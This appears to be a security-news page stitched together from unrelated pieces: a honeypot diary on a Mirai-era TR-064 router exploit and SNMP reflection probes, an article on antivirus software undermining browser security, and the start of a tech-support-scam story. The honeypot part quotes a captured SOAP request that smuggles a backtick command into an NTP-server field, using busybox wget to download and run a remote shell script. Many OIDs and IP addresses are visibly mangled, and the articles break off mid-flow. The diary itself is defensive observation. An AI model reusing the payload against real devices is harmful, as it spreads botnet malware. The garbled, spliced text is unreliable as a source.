Information Security News
Sometimes, it isnt the new and sophisticated attacks that keep your honeypots (and with that: you) busy, but things that make you go that works?. Looking over my honeypot today, I had a couple experiences like this. First of all, the old TR-064 NTP Server exploit that beca
me big news when the Mirai botnet adopted it. Since then, most of the servers that hosted the follow-up code no longer deliver. But this doesnt prevent thousands of existing bots to persistently attempt the exploit. In addition, it appears that some of the less skilled but persistent attackers (the
Not so Advanced Persistent Threat Windows NT 5.1)
?xml version=1.0?SOAP-ENV:Envelope xmlns:SOAP-ENV=http://schemas.xmlsoap.org/soap/envelope/ SOAP-ENV:encodingStyle=http://schemas.xmlsoap.org/soap/encoding/ SOAP-ENV:Body u:SetNTPServers xmlns:u=urn:dslforum-org:service:Time:1 NewNTPServer1`cd /tmp /bin/busybox wget http://184.108.40.206:80/bin.sh -O - bin.sh sh bin.sh`/NewNTPServer1 NewNTPServer2/NewNTPServer2 NewNTPServer3/NewNTPServer3 NewNTPServer4/NewNT PServer
4 NewNTPServer5/NewNTPServer5 /u:SetNTPServers /SOAP-ENV:Body/SOAP-ENV:Envelope
The problem with this code is that there is no empty line between headers and body, which makes the request fail. Apache responds to this with a 400 error. Over the last 6 hours, I got about 40,000 requests from around 1,000 different IPsacrosss different honeypots.
Another attack that doesnt go away is SNMP attacks from port 80. These are kind of background trickle that you will see if you look at your firewall logs a bit more careful. And hopefully, they will show up in your firewall as blocked or dropped. The typically I believe these requests to be spoofed and used as part of a reflective DDoS attack. Most SNMP requests not originating from port 80 do come from researchers. (University Bochum seems to be doing a survey, and of course, Shodan).
A typical SNMP request would be:
13:41:06.216683 IP 220.127.116.11.80 a.b.c.d.161: GetBulk(42) N=0 M=10 .18.104.22.168.22.214.171.124 .126.96.36.199.188.8.131.52.1.3
This request will solicit a description of the system in return, which of course can be somewhat large. In my case, it is 993 bytes:
13:41:06.217446 IP a.b.c.d.161 184.108.40.206.80: GetResponse(993) .220.127.116.11.18.104.22.168.0=Linux myhost 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64 .22.214.171.124.126.96.36.199.1.3.1=The MIB for Message Processing and Dispatching. .188.8.131.52.184.108.40.206.0=
.220.127.116.11.4.1.8072.3.2.10 .18.104.22.168.22.214.171.124.1.3.2=The management information definitions for the SNMP User-based Security Model. .126.96.36.199.188.8.131.52.0=17457385 .184.108.40.206.220.127.116.11.1.3.3=The SNMP Management Architecture MIB. .18.104.22.168.22.214.171.124.0=Me [email protected] .126.96.36.199
.188.8.131.52.1.3.4=The MIB module for SNMPv2 entities .184.108.40.206.220.127.116.11.0=flyinghorse .18.104.22.168.22.214.171.124.1.3.5=View-based Access Control Model for SNMP. .126.96.36.199.188.8.131.52.0=Sitting on the Dock of the Bay .184.108.40.206.220.127.116.11.1.3.6=The MIB module for managing TCP
implementations .18.104.22.168.22.214.171.124.0=72 .126.96.36.199.188.8.131.52.1.3.7=The MIB module for managing IP and ICMP implementations .184.108.40.206.220.127.116.11.0=16 .18.104.22.168.22.214.171.124.1.3.8=The MIB module for managing UDP implementations .126.96.36.199.188.8.131.52.1.2.1=.184.108.40.206.220.127.116.11.1.1 .18.104.22.168.22.214.171.124.1.3
.9=The MIB modules for managing SNMP Notification, plus filtering. .126.96.36.199.188.8.131.52.1.2.2=.184.108.40.206.220.127.116.11.1.1 .18.104.22.168.22.214.171.124.1.3.10=The MIB module for logging SNMP Notifications.
The source of the request was a Comcast IP. It isnt clear to me if it was spoofed and if there is something worth DDoSing at that IP, or if this is someone scanning for possible reflectors.
by Sebastian Anthony
Former Firefox developer Robert O'Callahan, now a free agent and safe from the PR tentacles of his corporate overlord, says that antivirus software is terrible, AV vendors are terrible, and that you should uninstall your antivirus software immediately—unless you use Microsoft's Windows Defender, which is apparently okay.
A couple of months back, Justin Schuh, Google Chrome's security chief, and indeed one of the world's top infosec bods, said that antivirus software is "my single biggest impediment to shipping a secure browser." Further down the thread he explains that meddling AV software delayed Win32 Flash sandboxing "for over a year" and that further sandboxing efforts are still on hold due to AV. The man-in-the-middle nature of antivirus also causes a stream of TLS (transport layer security) errors, says Schuh, which in turn breaks some elements of HTTPS/HSTS.
These are just two recent instances of browser makers being increasingly upset with antivirus software. Back in 2012, Nicholas Nethercote, another Mozillian working on Firefox's MemShrink project said that "McAfee is killing us." In that case, Nethercote was trying to reduce the memory footprint of Firefox, and found that gnarly browser add-ons like McAfee were consuming a huge amount of memory, amongst other things. If you venture off-piste into the browser mailing lists, anti-antivirus sentiment has bubbled away just below the surface for a very long time.
Technical support scams are the bottom of the barrel for cyber-crime. Using well-worn social engineering techniques that generally only work on the least sophisticated computer users, these bootleg call-center operations use a collection of commercially available tools to either convince their victims to pay exorbitant fees for "security software" or extort them to gain control of their computer. And yet, these schemes continue to rake in cash for scammers.
We've dealt with these scammers before at Ars, but this week I got an opportunity to personally engage with a scam operation—so naturally, I attempted to inflict as much damage on it as possible.
On Monday afternoon, I got a phone call that someone now probably wishes they never made. Caller ID said the call was coming from "MDU Resources," but the caller said he was calling from "the technical support center." He informed me there were "junk files" on my computer slowing it down and that he was going to connect me with a technician to help fix the problem.